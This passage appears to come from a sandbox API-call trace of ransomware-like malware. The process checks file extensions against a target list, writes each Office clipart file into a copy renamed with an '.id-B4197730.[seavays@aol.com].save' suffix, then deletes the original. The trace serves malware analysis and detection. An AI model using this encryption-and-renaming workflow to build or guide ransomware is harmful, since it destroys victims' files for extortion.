(lpString1=".bz2", lpString2=".WMF") returned -1 [0062.960] lstrlenW (lpString=".7z") returned 3 [0062.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0062.960] lstrlenW (lpString=".dbf") returned 4 [0062.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0062.960] lstrlenW (lpString=".1cd") returned 4 [0062.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0062.960] lstrlenW (lpString=".jpg") returned 4 [0062.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.960] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.960] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0062.961] GetLastError () returned 0x0 [0062.961] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0062.962] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0062.963] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.963] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.963] SetEndOfFile (hFile=0x388) returned 1 [0062.964] CloseHandle (hObject=0x388) returned 1 [0062.965] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.965] SetEndOfFile (hFile=0x384) returned 1 [0062.965] CloseHandle (hObject=0x384) returned 1 [0062.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0062.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0062.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0062.966] lstrlenW (lpString=".doc") returned 4 [0062.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.966] lstrlenW (lpString=".docx") returned 5 [0062.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.966] lstrlenW (lpString=".pdf") returned 4 [0062.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.966] lstrlenW (lpString=".xls") returned 4 [0062.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.966] lstrlenW (lpString=".xlsx") returned 5 [0062.966] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.966] lstrlenW (lpString=".ppt") returned 4 [0062.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0062.967] lstrlenW (lpString=".zip") returned 4 [0062.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.967] lstrlenW (lpString=".rar") returned 4 [0062.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.967] lstrlenW (lpString=".bz2") returned 4 [0062.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.967] lstrlenW (lpString=".7z") returned 3 [0062.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0062.967] lstrlenW (lpString=".dbf") returned 4 [0062.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0062.967] lstrlenW (lpString=".1cd") returned 4 [0062.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0062.967] lstrlenW (lpString=".jpg") returned 4 [0062.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.967] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.968] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0062.968] GetLastError () returned 0x0 [0062.968] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xd10, lpOverlapped=0x0) returned 1 [0062.970] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xd20, lpOverlapped=0x0) returned 1 [0062.971] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.971] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.971] SetEndOfFile (hFile=0x388) returned 1 [0062.971] CloseHandle (hObject=0x388) returned 1 [0062.972] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.972] SetEndOfFile (hFile=0x384) returned 1 [0062.973] CloseHandle (hObject=0x384) returned 1 [0062.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0062.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0062.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0062.974] lstrlenW (lpString=".doc") returned 4 [0062.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.974] lstrlenW (lpString=".docx") returned 5 [0062.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.974] lstrlenW (lpString=".pdf") returned 4 [0062.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.974] lstrlenW (lpString=".xls") returned 4 [0062.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.974] lstrlenW (lpString=".xlsx") returned 5 [0062.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.974] lstrlenW (lpString=".ppt") returned 4 [0062.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0062.974] lstrlenW (lpString=".zip") returned 4 [0062.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.974] lstrlenW (lpString=".rar") returned 4 [0062.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.974] lstrlenW (lpString=".bz2") returned 4 [0062.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.974] lstrlenW (lpString=".7z") returned 3 [0062.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0062.974] lstrlenW (lpString=".dbf") returned 4 [0062.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0062.974] lstrlenW (lpString=".1cd") returned 4 [0062.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0062.974] lstrlenW (lpString=".jpg") returned 4 [0062.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.975] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.976] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0062.976] GetLastError () returned 0x0 [0062.976] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x63c, lpOverlapped=0x0) returned 1 [0062.978] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x640, lpOverlapped=0x0) returned 1 [0062.979] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.979] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.979] SetEndOfFile (hFile=0x388) returned 1 [0062.979] CloseHandle (hObject=0x388) returned 1 [0062.981] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.981] SetEndOfFile (hFile=0x384) returned 1 [0062.982] CloseHandle (hObject=0x384) returned 1 [0062.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0062.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0062.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0062.982] lstrlenW (lpString=".doc") returned 4 [0062.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.982] lstrlenW (lpString=".docx") returned 5 [0062.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.982] lstrlenW (lpString=".pdf") returned 4 [0062.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.983] lstrlenW (lpString=".xls") returned 4 [0062.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.983] lstrlenW (lpString=".xlsx") returned 5 [0062.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.983] lstrlenW (lpString=".ppt") returned 4 [0062.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0062.983] lstrlenW (lpString=".zip") returned 4 [0062.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.983] lstrlenW (lpString=".rar") returned 4 [0062.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.983] lstrlenW (lpString=".bz2") returned 4 [0062.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.983] lstrlenW (lpString=".7z") returned 3 [0062.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0062.983] lstrlenW (lpString=".dbf") returned 4 [0062.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0062.983] lstrlenW (lpString=".1cd") returned 4 [0062.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0062.983] lstrlenW (lpString=".jpg") returned 4 [0062.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.463] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.463] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0063.881] GetLastError () returned 0x0 [0063.881] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1f20, lpOverlapped=0x0) returned 1 [0063.882] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0063.883] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.883] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.883] SetEndOfFile (hFile=0x34c) returned 1 [0063.884] CloseHandle (hObject=0x34c) returned 1 [0063.885] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.885] SetEndOfFile (hFile=0x2f4) returned 1 [0063.886] CloseHandle (hObject=0x2f4) returned 1 [0063.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0063.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0063.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0063.887] lstrlenW (lpString=".doc") returned 4 [0063.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.887] lstrlenW (lpString=".docx") returned 5 [0063.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.887] lstrlenW (lpString=".pdf") returned 4 [0063.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.887] lstrlenW (lpString=".xls") returned 4 [0063.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.887] lstrlenW (lpString=".xlsx") returned 5 [0063.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.887] lstrlenW (lpString=".ppt") returned 4 [0063.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0063.887] lstrlenW (lpString=".zip") returned 4 [0063.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.887] lstrlenW (lpString=".rar") returned 4 [0063.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.887] lstrlenW (lpString=".bz2") returned 4 [0063.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.887] lstrlenW (lpString=".7z") returned 3 [0063.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0063.887] lstrlenW (lpString=".dbf") returned 4 [0063.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0063.887] lstrlenW (lpString=".1cd") returned 4 [0063.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0063.887] lstrlenW (lpString=".jpg") returned 4 [0063.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.888] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.888] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0063.889] GetLastError () returned 0x0 [0063.889] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x19ec, lpOverlapped=0x0) returned 1 [0063.893] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0063.894] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.894] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.894] SetEndOfFile (hFile=0x34c) returned 1 [0063.894] CloseHandle (hObject=0x34c) returned 1 [0063.895] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.895] SetEndOfFile (hFile=0x2f4) returned 1 [0063.896] CloseHandle (hObject=0x2f4) returned 1 [0063.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0063.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0063.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0063.897] lstrlenW (lpString=".doc") returned 4 [0063.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.897] lstrlenW (lpString=".docx") returned 5 [0063.897] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.897] lstrlenW (lpString=".pdf") returned 4 [0063.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.897] lstrlenW (lpString=".xls") returned 4 [0063.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.897] lstrlenW (lpString=".xlsx") returned 5 [0063.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.897] lstrlenW (lpString=".ppt") returned 4 [0063.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0063.897] lstrlenW (lpString=".zip") returned 4 [0063.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.898] lstrlenW (lpString=".rar") returned 4 [0063.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.898] lstrlenW (lpString=".bz2") returned 4 [0063.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.898] lstrlenW (lpString=".7z") returned 3 [0063.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0063.898] lstrlenW (lpString=".dbf") returned 4 [0063.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0063.898] lstrlenW (lpString=".1cd") returned 4 [0063.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0063.898] lstrlenW (lpString=".jpg") returned 4 [0063.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.899] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.899] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0063.899] GetLastError () returned 0x0 [0063.899] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1204, lpOverlapped=0x0) returned 1 [0063.900] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1210, lpOverlapped=0x0) returned 1 [0063.901] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, 